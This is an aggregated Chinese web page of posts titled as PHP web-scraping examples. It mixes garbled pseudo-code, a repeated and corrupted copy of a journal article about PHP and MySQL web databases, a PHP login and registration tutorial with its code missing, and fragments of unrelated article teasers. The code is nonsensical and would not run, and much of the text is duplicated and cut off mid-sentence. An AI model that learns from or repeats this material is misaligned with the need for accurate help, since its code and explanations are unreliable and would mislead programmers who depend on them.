  $trig_params,$trig_url'','全局变量=$trig_url'''range('start',$trig_url);trig_params传入链接的内容。'range('end',$trig_url)''';'[params|trig_params]'';'}输出结果:123flask抓取网页数据实例教程2:名称与分组php抓取网页数据实例教程2:客户端名称与分组#客户端名称抓取letusername='g';#主程序名称letpath='/proxy/';#客户端路径letclient=newproxyaddress(path,'127.0.0.1');//路由sets("/",path);//url对象的变量proxyaddress.length>=3;//响应是对应的字符串,该变量可能在less文件里lessinstance=newproxyaddress(username,path);//基于信任的源路由lesstarget=client.basepath(username);//自定义path可以是任何id,实例化target对象sets("/",target);//以上两句必须为空sets("/","/");//是说是基于path对象的子id对应的单元格sets("/",client.getheader());//获取请求第一个字符/index,后面字符,最后一个字符$values=path.getvalues(username,path.abspath($target));//获取请求第一个字符是单元格,后面字符,最后一个字符sets("/","/");//请求图片属性都会存到这个字符串上,返回值是id值,正则匹配$results=path.getret($client);//获取数据抓取方法foreach($i=$values;$j=0;$g=0;$num=$i-1;$time=requregetformer($target,$values));//打印抓取数据//命令行的输入,$j,$g,$time,$num表示同步采样$j=requregetformer($target,$values);//用numbern去替换前面的$j\n$g=requregetformer($target,$values);//用boolean%去替换前面的$g\n$num=requregetformer($target,$values);//用b。 查看全部

  php抓取网页数据实例教程1:图片img_content属性获取地址
  php抓取网页数据实例教程1:图片数据抓取百度一张图片的时候,需要用http请求,ftp传输给服务器,为了我们更方便,使用下面这种方法可以对所有图片的数据进行抓取。获取图片(含水印地址):img::img_map.xml#获取图片img_content属性获取水印地址:ps:目录和全局变量是获取图片需要的,仅供参考百度关键字的地址::传输数据抓取图片img_content:;:params{//全局变量,该变量后面会跟一个参数$trig_url,该参数保存上图数据的url。
  $trig_params,$trig_url'','全局变量=$trig_url'''range('start',$trig_url);trig_params传入链接的内容。'range('end',$trig_url)''';'[params|trig_params]'';'}输出结果:123flask抓取网页数据实例教程2:名称与分组php抓取网页数据实例教程2:客户端名称与分组#客户端名称抓取letusername='g';#主程序名称letpath='/proxy/';#客户端路径letclient=newproxyaddress(path,'127.0.0.1');//路由sets("/",path);//url对象的变量proxyaddress.length>=3;//响应是对应的字符串,该变量可能在less文件里lessinstance=newproxyaddress(username,path);//基于信任的源路由lesstarget=client.basepath(username);//自定义path可以是任何id,实例化target对象sets("/",target);//以上两句必须为空sets("/","/");//是说是基于path对象的子id对应的单元格sets("/",client.getheader());//获取请求第一个字符/index,后面字符,最后一个字符$values=path.getvalues(username,path.abspath($target));//获取请求第一个字符是单元格,后面字符,最后一个字符sets("/","/");//请求图片属性都会存到这个字符串上,返回值是id值,正则匹配$results=path.getret($client);//获取数据抓取方法foreach($i=$values;$j=0;$g=0;$num=$i-1;$time=requregetformer($target,$values));//打印抓取数据//命令行的输入,$j,$g,$time,$num表示同步采样$j=requregetformer($target,$values);//用numbern去替换前面的$j\n$g=requregetformer($target,$values);//用boolean%去替换前面的$g\n$num=requregetformer($target,$values);//用b。

php爬虫深入理解php.js解析原理及网站实例使用

网站优化优采云 发表了文章 • 0 个评论 • 54 次浏览 • 2022-04-30 16:01 • 来自相关话题

  php爬虫深入理解php.js解析原理及网站实例使用
  php抓取网页数据实例-登录-详细讲解下基本php代码:require'php7。2';content_uri=':8080/';data=${content_uri};for($i=0;$idata=${$data['a-z']};}data=php_exec_all($data);echo$data;}代码运行结果:随意选取截图如下:完整代码:if(isset($_server['http_status'])){curl_setopt($_server['http_status'],40。
  4);curl_setopt($_server['http_status'],40
  4);}
  这篇文章,专门讲php爬虫的。
  看这一篇文章php爬虫深入理解php.js解析原理及网站实例
  使用requests库
  分析页面源码,发现可以提取关键字。
  百度知道,共402个问题抓取
  pythonweb框架比较好的有flask,webxz,tornado,web.py.等,但是对于不熟悉的人来说,如果要自己去设计爬虫代码不是很容易把握,所以不建议。下面是我写的一个爬虫代码,供参考。 查看全部

  php爬虫深入理解php.js解析原理及网站实例使用
  php抓取网页数据实例-登录-详细讲解下基本php代码:require'php7。2';content_uri=':8080/';data=${content_uri};for($i=0;$idata=${$data['a-z']};}data=php_exec_all($data);echo$data;}代码运行结果:随意选取截图如下:完整代码:if(isset($_server['http_status'])){curl_setopt($_server['http_status'],40。
  4);curl_setopt($_server['http_status'],40
  4);}
  这篇文章,专门讲php爬虫的。
  看这一篇文章php爬虫深入理解php.js解析原理及网站实例
  使用requests库
  分析页面源码,发现可以提取关键字。
  百度知道,共402个问题抓取
  pythonweb框架比较好的有flask,webxz,tornado,web.py.等,但是对于不熟悉的人来说,如果要自己去设计爬虫代码不是很容易把握,所以不建议。下面是我写的一个爬虫代码,供参考。

php抓取网页数据实例(PHP技术PHP全称为PersonalHomePage,)

网站优化优采云 发表了文章 • 0 个评论 • 53 次浏览 • 2022-04-18 07:11 • 来自相关话题

  php抓取网页数据实例(PHP技术PHP全称为PersonalHomePage,)
  PHP and MYSQL To] 介绍了PHP技术和MYSQL数据库,给出了使用PHP和MYSQL实现web数据库的具体方法,并举例说明。【关键词】PHPMYSQL网页数据库介绍在客户端使用普通浏览器,通过Internet或Intranet,访问网络数据库中的数据,有很多解决方案,如传统的CGI方式、ADC、IDC、 ISAPI、ASP方法等。尤其是ASP应用广泛,但ASP是基于微软的操作系统。目前,PHP这种跨平台的服务器端脚本技术在世界范围内很流行。网站 使用 PHP 的人数已经超过 80 万,而且还在不断增加。PHP与MYSQL数据库的结合,可以轻松实现网页数据库。一起,这两件事是开发数据驱动工作的最佳组合网站。PHP 技术 PHP 全称为 Personal Home Page,是一种跨平台的服务器端脚本技术。PHP 于 1995 年发布使用,1998 年成为成熟的软件产品。它最初是一个人用 Perl 编写的“包装器”程序,用于编写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。
  PHP有一个很重要的特点,就是PHP具有非常强大的数据库操作功能,可以直接连接各种数据库,并且完全支持ODBC。此功能是其他脚本语言无法比拟的。PHP 最强大和最具代表性的特性是它的数据库层,它内置了对许多数据库的支持,不再需要特殊的扩展,使得编写基于数据库的网页变得非常简单。PHP目前支持的数据库有Oracl AdabasD、Sybase、Fi ePro、mSQL、Velocis、MySQL、In2 formix、Sol d、dBase、ODBC、Unix、dbm、PostgreSQL、MS SQL RVR等。每个数据库都有一套用于数据库访问和操作的功能。MYSQL 数据库 在众多的数据库服务器软件中,MYSQL 是一种特殊的软件。MYSQL 是在 MSQL 的基础上扩展而来的。它是一个支持标准 ANSI SQL 语句的小型数据库服务器。它之所以特别是因为:首先,MYSQL 是免费的,您可以在其网站 mysql com 上免费下载和使用它。二是多平台。在WIN95/98平台下作为普通进程运行,在NT下作为系统服务运行,在UNIX/LINUX下作为多线程运行。
  很多 PHP 用户觉得在开发数据驱动网站 时使用 PHP 和 MYSQL 是最好的组合。MYSQL 是一个真正的多用户、多线程的 SQL 数据库服务器。SQL(结构化查询语言)是世界上最流行和最标准化的数据库语言。MYSQL 是一个客户端-服务器架构的实现,它由一个服务器守护进程 mysql 和许多不同的客户端程序和库组成。SQL 是一种标准化语言,可以更轻松地存储、更新和访问信息。例如,您可以使用 SQL 语言来检索产品信息和存储网站的客户信息,而 MYSQL 足够快速和灵活,可以让您存储日志文件和图像。MYSQL 的主要目标是快速、健壮和易于使用。MYSQL 建立在一组实用程序的基础上,这些程序已在要求苛刻的生产环境中使用了多年。尽管 MYSQL 仍在开发中,但它已经提供了丰富且极其有用的功能集。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。
  小文件大小受限于操作系统:Linux 2G、Solari 4G、Solari 多语言支持。MYSQL的主要功能有:mysql-connect(主机、用户名、密码)。返回一个连接号。mysql-create-db(数据库名称) mysql-select-db(数据库名称,连接号)。连接到数据库。mysql-query(SQL 语句,连接号)。如果 SQL 语句为 select,则返回结果编号。否则,可以忽略返回值。失败时,返回 false。mysql-fetch-array(result_number)。取下一行并返回一个数组。可以用数字下标访问(第一个字段如下。如果最后一行已经被取走,则返回false。eld(结果编号,[字段编号]mysql-num-rows mysql-num-fi el ds(结果编号) ) st-dbs() st-tables (数据库名) (10)mysql-close (连接号) (11) mysql-pconnect(host,username,password)) 以Windows98 MySQL为操作环境讨论web数据库的实现。搭建MySQL数据库通过一个电话号码网页数据库的简单例子,介绍如何使用PHP和MYSQL开发基于数据库的web。首先,必须有一个数据库。
  使用 MYSQL 建立电话号码数据库。在MYSQL命令状态下,输入以下内容:mysql CreateDatabase phonedb; 通过刚才的命令创建了一个phonedb ID为自动号码,name为姓名,tel ephone为家庭电话号码,具体操作如下:mysql usephonedb; Mysql CreateTabl ephonetabl ntauto -increment 主键 namevarchar >telephone varchar(7) ntophonetabl values( ntophonetabl values(php访问phonedb数据库mysql phone.php3的源码程序如下:mysql-connect ocalhost”,” root”, mysql-select- db(”phonedb”, $DB) “select romphonetable”) $DBTrownum=mysql -num- rows( $DBT) etch-row( $DBT) echo” $DBTrow[ $DB2Trow[ mysql- close($DB) 2000 11 localhost/test/phoe.php Act 11 输出和打印输出。
  显然,根据每个命题公式的标签,这可以更方便地实现。[1] 方世昌主编。1 离散数学 1 西安:西安电子科技大学出版社,1996 王家洋:中南大学信息与工程学院,副教授。主要研究领域:多媒体技术与网络数据库。邮编:410083 蒋外文:中南大学信息与工程学院,副教授。邮编:410083(收稿日期:2000-09-22) 责任编辑:李乃赫(上接第2页) 结束语 WEB页面与数据库的连接可以用PHP轻松完成,由于示例使用了MYSQL数据库,所以关于数据库操作的语句都是以mysql-开头的,如果你使用其他类型的数据库,可以使用类似的函数,比如sybase-connect、sybase-selectdb()等。总之,操作各种数据库的函数都很相似,也有细微的差别,容易记忆。[1] 网盛工作室编辑。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。
  邮编:570228 杜玉宽:海南大学信息学院。邮编:570228 孙胜杰:海南大学信息学院。邮编:570228(收稿日期:2000-09-28) 责任编辑:李乃和(上接第4页) 提高整个计算机系统的性能,使连接的计算机系统具有网络功能和数据库功能、超文本功能、多媒体功能和开放性、交互性、实时动态。在几种数据库发布技术中,基于CORBA的数据库发布技术将是未来研究的重点。Comer1INTERNET指南1北京:清华大学出版社,1995[ 2] 蔡万东 1 HTTP 协议传输机制与超文本链研究 1 微电子与计算机,1997 /cgi html [4] Javasoft Inc., JDBCA Java SQL API,1996 年 10 月 22 日 [5]ht tp omg00/成员列表 htm[6]ht tp omg00/wicorba.ht [7]http library/schedule.htm [8]ht tp library/times.htm [9 ]ht tp omg00/ omaov.htm 乔培力:哈尔滨科技大学计算机与控制学院,教授。邮编:150080 李成彦:哈尔滨科技大学计算机与控制学院,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 哈尔滨科技大学,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 哈尔滨科技大学,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 查看全部

  php抓取网页数据实例(PHP技术PHP全称为PersonalHomePage,)
  PHP and MYSQL To] 介绍了PHP技术和MYSQL数据库,给出了使用PHP和MYSQL实现web数据库的具体方法,并举例说明。【关键词】PHPMYSQL网页数据库介绍在客户端使用普通浏览器,通过Internet或Intranet,访问网络数据库中的数据,有很多解决方案,如传统的CGI方式、ADC、IDC、 ISAPI、ASP方法等。尤其是ASP应用广泛,但ASP是基于微软的操作系统。目前,PHP这种跨平台的服务器端脚本技术在世界范围内很流行。网站 使用 PHP 的人数已经超过 80 万,而且还在不断增加。PHP与MYSQL数据库的结合,可以轻松实现网页数据库。一起,这两件事是开发数据驱动工作的最佳组合网站。PHP 技术 PHP 全称为 Personal Home Page,是一种跨平台的服务器端脚本技术。PHP 于 1995 年发布使用,1998 年成为成熟的软件产品。它最初是一个人用 Perl 编写的“包装器”程序,用于编写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。一个人用 Perl 写的程序来写他的主页。后来因为用的人多了,才发展起来。目前最新版本,常用版本为3.0。PHP 是用 C 语言编写的,可以在 Uni Linux 和 Win9X/NT 下运行。
  PHP有一个很重要的特点,就是PHP具有非常强大的数据库操作功能,可以直接连接各种数据库,并且完全支持ODBC。此功能是其他脚本语言无法比拟的。PHP 最强大和最具代表性的特性是它的数据库层,它内置了对许多数据库的支持,不再需要特殊的扩展,使得编写基于数据库的网页变得非常简单。PHP目前支持的数据库有Oracl AdabasD、Sybase、Fi ePro、mSQL、Velocis、MySQL、In2 formix、Sol d、dBase、ODBC、Unix、dbm、PostgreSQL、MS SQL RVR等。每个数据库都有一套用于数据库访问和操作的功能。MYSQL 数据库 在众多的数据库服务器软件中,MYSQL 是一种特殊的软件。MYSQL 是在 MSQL 的基础上扩展而来的。它是一个支持标准 ANSI SQL 语句的小型数据库服务器。它之所以特别是因为:首先,MYSQL 是免费的,您可以在其网站 mysql com 上免费下载和使用它。二是多平台。在WIN95/98平台下作为普通进程运行,在NT下作为系统服务运行,在UNIX/LINUX下作为多线程运行。
  很多 PHP 用户觉得在开发数据驱动网站 时使用 PHP 和 MYSQL 是最好的组合。MYSQL 是一个真正的多用户、多线程的 SQL 数据库服务器。SQL(结构化查询语言)是世界上最流行和最标准化的数据库语言。MYSQL 是一个客户端-服务器架构的实现,它由一个服务器守护进程 mysql 和许多不同的客户端程序和库组成。SQL 是一种标准化语言,可以更轻松地存储、更新和访问信息。例如,您可以使用 SQL 语言来检索产品信息和存储网站的客户信息,而 MYSQL 足够快速和灵活,可以让您存储日志文件和图像。MYSQL 的主要目标是快速、健壮和易于使用。MYSQL 建立在一组实用程序的基础上,这些程序已在要求苛刻的生产环境中使用了多年。尽管 MYSQL 仍在开发中,但它已经提供了丰富且极其有用的功能集。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。MYSQL的主要特点: 、JAVA(JDBC)TCL API接口。多平台,包括:Solari SunOS、、BSDI SGIIR2 IX BSD、OBSD、UX NT(各站支持的功能不同) nuree penerver et pen HP 多种数据类型,包括:有符号/无符号1整数、FLOAT CHAR、VARCHAR , TEXT , BLOB , DATE, DATETIME, YEAR , SET 为Win9X提供了ODBC接口,可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。可以通过Access与之连接。另一个第三方开发商提供了各种 ODBC 驱动程序。
  小文件大小受限于操作系统:Linux 2G、Solari 4G、Solari 多语言支持。MYSQL的主要功能有:mysql-connect(主机、用户名、密码)。返回一个连接号。mysql-create-db(数据库名称) mysql-select-db(数据库名称,连接号)。连接到数据库。mysql-query(SQL 语句,连接号)。如果 SQL 语句为 select,则返回结果编号。否则,可以忽略返回值。失败时,返回 false。mysql-fetch-array(result_number)。取下一行并返回一个数组。可以用数字下标访问(第一个字段如下。如果最后一行已经被取走,则返回false。eld(结果编号,[字段编号]mysql-num-rows mysql-num-fi el ds(结果编号) ) st-dbs() st-tables (数据库名) (10)mysql-close (连接号) (11) mysql-pconnect(host,username,password)) 以Windows98 MySQL为操作环境讨论web数据库的实现。搭建MySQL数据库通过一个电话号码网页数据库的简单例子,介绍如何使用PHP和MYSQL开发基于数据库的web。首先,必须有一个数据库。
  使用 MYSQL 建立电话号码数据库。在MYSQL命令状态下,输入以下内容:mysql CreateDatabase phonedb; 通过刚才的命令创建了一个phonedb ID为自动号码,name为姓名,tel ephone为家庭电话号码,具体操作如下:mysql usephonedb; Mysql CreateTabl ephonetabl ntauto -increment 主键 namevarchar >telephone varchar(7) ntophonetabl values( ntophonetabl values(php访问phonedb数据库mysql phone.php3的源码程序如下:mysql-connect ocalhost”,” root”, mysql-select- db(”phonedb”, $DB) “select romphonetable”) $DBTrownum=mysql -num- rows( $DBT) etch-row( $DBT) echo” $DBTrow[ $DB2Trow[ mysql- close($DB) 2000 11 localhost/test/phoe.php Act 11 输出和打印输出。
  显然,根据每个命题公式的标签,这可以更方便地实现。[1] 方世昌主编。1 离散数学 1 西安:西安电子科技大学出版社,1996 王家洋:中南大学信息与工程学院,副教授。主要研究领域:多媒体技术与网络数据库。邮编:410083 蒋外文:中南大学信息与工程学院,副教授。邮编:410083(收稿日期:2000-09-22) 责任编辑:李乃赫(上接第2页) 结束语 WEB页面与数据库的连接可以用PHP轻松完成,由于示例使用了MYSQL数据库,所以关于数据库操作的语句都是以mysql-开头的,如果你使用其他类型的数据库,可以使用类似的函数,比如sybase-connect、sybase-selectdb()等。总之,操作各种数据库的函数都很相似,也有细微的差别,容易记忆。[1] 网盛工作室编辑。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。PHP & MySQL,免费的网络编程专家。北京:北京希望电子出版社。2000 美] Leon Atkinson Chen Hong Translation.PHP 核心编程。北京:清华大学,2000,4:377 魏应斌:海南大学信息学院,博士,副教授。研究方向:计算机网络、数据库与计算机辅助教学等。
  邮编:570228 杜玉宽:海南大学信息学院。邮编:570228 孙胜杰:海南大学信息学院。邮编:570228(收稿日期:2000-09-28) 责任编辑:李乃和(上接第4页) 提高整个计算机系统的性能,使连接的计算机系统具有网络功能和数据库功能、超文本功能、多媒体功能和开放性、交互性、实时动态。在几种数据库发布技术中,基于CORBA的数据库发布技术将是未来研究的重点。Comer1INTERNET指南1北京:清华大学出版社,1995[ 2] 蔡万东 1 HTTP 协议传输机制与超文本链研究 1 微电子与计算机,1997 /cgi html [4] Javasoft Inc., JDBCA Java SQL API,1996 年 10 月 22 日 [5]ht tp omg00/成员列表 htm[6]ht tp omg00/wicorba.ht [7]http library/schedule.htm [8]ht tp library/times.htm [9 ]ht tp omg00/ omaov.htm 乔培力:哈尔滨科技大学计算机与控制学院,教授。邮编:150080 李成彦:哈尔滨科技大学计算机与控制学院,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 哈尔滨科技大学,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和 哈尔滨科技大学,教授。邮编:150080(收件日期:2000-10-30) 责任编辑:李乃和

php抓取网页数据实例(PHP成功创建注册页面,接下来.php用户注销(退出登录))

网站优化优采云 发表了文章 • 0 个评论 • 55 次浏览 • 2022-04-17 15:21 • 来自相关话题

  php抓取网页数据实例(PHP成功创建注册页面,接下来.php用户注销(退出登录))
  首先创建数据库和表,代码如下:
  
CREATE DATABASE `dbtest` ;
CREATE TABLE `dbtest`.`users` (
`user_id` INT( 5 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 25 ) NOT NULL ,
`email` VARCHAR( 35 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
UNIQUE (`email`)
) ENGINE = MYISAM ;
  可以将上面的代码复制到phpmyqadmin中来创建数据库和表。
  用户注册码:
  Dbconnect.php 收录 localhost 连接、数据库选择的代码。
  Register.php 收录简单的 HTML 表单和 PHP 代码
  
alert('error while registering you...');

Login & Registration System
Sign Me Up
Sign In Here
  注意:我们应该在所有页面上启动会话(session_start)。
  现在注册页面已经创建成功,接下来就是创建用户登录页面了。
  用户登录代码:
  Index.php 登录页面
  
alert('wrong details');

cleartuts - Login & Registration System
Sign In
Sign Up Here
  php 文件收录一个 HTML 表单,用于提交用户的登录信息,还收录一个 PHP 脚本来处理登录信息。php脚本引入表单的用户名和密码数据,然后查询数据库中用户名和密码是否存在。如果存在,则登录成功,否则用户名和密码错误。
  home.php 登录成功后跳转的页面
  
Welcome -

cleartuts



hi'  Sign Out


  logout.php 用户注销(logout)页面:
  我希望这篇文章 文章 能帮助你理解 PHP 和 MySQL 的用户登录和注册。 查看全部

  php抓取网页数据实例(PHP成功创建注册页面,接下来.php用户注销(退出登录))
  首先创建数据库和表,代码如下:
  
CREATE DATABASE `dbtest` ;
CREATE TABLE `dbtest`.`users` (
`user_id` INT( 5 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 25 ) NOT NULL ,
`email` VARCHAR( 35 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
UNIQUE (`email`)
) ENGINE = MYISAM ;
  可以将上面的代码复制到phpmyqadmin中来创建数据库和表。
  用户注册码:
  Dbconnect.php 收录 localhost 连接、数据库选择的代码。
  Register.php 收录简单的 HTML 表单和 PHP 代码
  
alert('error while registering you...');

Login & Registration System
Sign Me Up
Sign In Here
  注意:我们应该在所有页面上启动会话(session_start)。
  现在注册页面已经创建成功,接下来就是创建用户登录页面了。
  用户登录代码:
  Index.php 登录页面
  
alert('wrong details');

cleartuts - Login & Registration System
Sign In
Sign Up Here
  php 文件收录一个 HTML 表单,用于提交用户的登录信息,还收录一个 PHP 脚本来处理登录信息。php脚本引入表单的用户名和密码数据,然后查询数据库中用户名和密码是否存在。如果存在,则登录成功,否则用户名和密码错误。
  home.php 登录成功后跳转的页面
  
Welcome -

cleartuts



hi'  Sign Out


  logout.php 用户注销(logout)页面:
  我希望这篇文章 文章 能帮助你理解 PHP 和 MySQL 的用户登录和注册。

php抓取网页数据实例( 详解php中抓取网页内容的实例(精品版)限量放送有手慢则无-千锋云计算网页设计)

网站优化优采云 发表了文章 • 0 个评论 • 65 次浏览 • 2022-04-12 11:18 • 来自相关话题

  php抓取网页数据实例(
详解php中抓取网页内容的实例(精品版)限量放送有手慢则无-千锋云计算网页设计)
  
  详细讲解php爬取网页内容的例子
  php爬取网页内容示例详解方法一:使用file_get_contents方法实现$url="";$html=file_ge
  
  将视频融入网页设计有什么好处?
  随着网络传输速度的提高,视频在网页中的应用越来越广泛,网络视频的带宽和流量限制已不再像五年前那样明显。
  
  将视频融入网页设计有什么好处?
  随着网络传输速度的提高,视频在网页中的应用越来越广泛,网络视频的带宽和流量限制已不再像五年前那样明显。
  
  网页设计完整视频(精品版)限量版-千峰
  云计算网页设计全套视频(精品版)限播。快或慢,千峰网页设计是根据企业想要传达给观众的信息,进行网站功能规划,然后
  
  基于PHP微信网页获取用户信息的实例分析
  很多用户在开发微信版网页时需要获取基本的用户信息,如国家、省、市、昵称等。接下来,我们将基于PHP语言基础详细分析如何成功获取。相关视频推荐:PHP编程从入门到精通必备条件
  
  如何在php中设置网页编码
  如何在php中设置网页的编码:首先打开php文件;然后将代码添加为 "header("Content-Type:text/html;charset=utf-8");"; 最后保存。推荐:《PHP视频教程》PHP设置页面字符集utf-8本
  
  高质量网页设计:示例和提示
  接下来,我将给大家一些重点,并附上相应的例子,与大家分享我在别人的网页设计中寻找“高品质”的过程。
  
  提高网页和博客设计质量的一些示例和技巧
  “高品质”是每个人都在追求的,在网页设计界也不例外。但是什么是“质量”,你如何判断一个设计的质量好坏?我碰巧有一种方法可以找到网页设计中质量的重点。一旦你知道如何判断一个高质量的设计真正擅长什么,你就会有很多技巧来完善你自己的。
  
  PHP下ajax跨域解决方案window.name实例解析详解
  本文的例子描述了PHP下ajax跨域解决方案的window.name。分享给大家参考,具体如下: 核心原理:window对象的name属性是一个很特殊的属性。当窗口位置发生变化时,会再次添加。
  
  响应式网页设计和 SEO
  所谓“响应式网页设计(Responsive Web Design)”也是自适应的,是一种能够自动识别屏幕宽度并做出相应调整的网页设计。目前这种设计已经出现在越来越多的国内网站中,谷歌已经明确表示鼓励响应式网页设计。
  
  简化您的网页设计
  随着网站构建技术的发展,在网页中实现复杂的功能已经不再困难。网页中的功能越来越多。因此,需要在用户的浏览体验和网页设计的美感之间取得平衡。显得非常重要。
  
  宝安网页设计从SEO角度谈网页设计标准
  深圳宝安网页设计从SEO角度谈网页设计标准。在任何时候,网站访问者都处于以下阶段之一: 1. 注意;2、利息;3.欲望;4. 行动;5.满足。在每个阶段,参观者都是不同的
  
  什么是标签页?如何优化标签页?
  什么是标签页?如何优化标签页?标签页是很常用的,如果用得好,SEO效果会很好,但是很多网站标签页使用不当,甚至可能产生负面影响,所以这是一个很好的问题。但是这个问题
  
  网页登录成功后php如何实现网页跳转?
  网页登录成功后php实现网页跳转的方法:首先打开php编辑器,新建一个php文件;然后在[index.php]中输入代码[header('Location:index.php');];最后浏览服务器运行[login.
  
  网页登录成功后如何在php中实现网页跳转
  网页登录成功后php实现网页跳转的方法:首先打开编辑器,新建一个php文件;然后输入代码“header('Location:index.php');” 在php文件中;最后在浏览器中运行它,这将跳转到索引时 查看全部

  php抓取网页数据实例(
详解php中抓取网页内容的实例(精品版)限量放送有手慢则无-千锋云计算网页设计)
  
  详细讲解php爬取网页内容的例子
  php爬取网页内容示例详解方法一:使用file_get_contents方法实现$url="";$html=file_ge
  
  将视频融入网页设计有什么好处?
  随着网络传输速度的提高,视频在网页中的应用越来越广泛,网络视频的带宽和流量限制已不再像五年前那样明显。
  
  将视频融入网页设计有什么好处?
  随着网络传输速度的提高,视频在网页中的应用越来越广泛,网络视频的带宽和流量限制已不再像五年前那样明显。
  
  网页设计完整视频(精品版)限量版-千峰
  云计算网页设计全套视频(精品版)限播。快或慢,千峰网页设计是根据企业想要传达给观众的信息,进行网站功能规划,然后
  
  基于PHP微信网页获取用户信息的实例分析
  很多用户在开发微信版网页时需要获取基本的用户信息,如国家、省、市、昵称等。接下来,我们将基于PHP语言基础详细分析如何成功获取。相关视频推荐:PHP编程从入门到精通必备条件
  
  如何在php中设置网页编码
  如何在php中设置网页的编码:首先打开php文件;然后将代码添加为 "header("Content-Type:text/html;charset=utf-8");"; 最后保存。推荐:《PHP视频教程》PHP设置页面字符集utf-8本
  
  高质量网页设计:示例和提示
  接下来,我将给大家一些重点,并附上相应的例子,与大家分享我在别人的网页设计中寻找“高品质”的过程。
  
  提高网页和博客设计质量的一些示例和技巧
  “高品质”是每个人都在追求的,在网页设计界也不例外。但是什么是“质量”,你如何判断一个设计的质量好坏?我碰巧有一种方法可以找到网页设计中质量的重点。一旦你知道如何判断一个高质量的设计真正擅长什么,你就会有很多技巧来完善你自己的。
  
  PHP下ajax跨域解决方案window.name实例解析详解
  本文的例子描述了PHP下ajax跨域解决方案的window.name。分享给大家参考,具体如下: 核心原理:window对象的name属性是一个很特殊的属性。当窗口位置发生变化时,会再次添加。
  
  响应式网页设计和 SEO
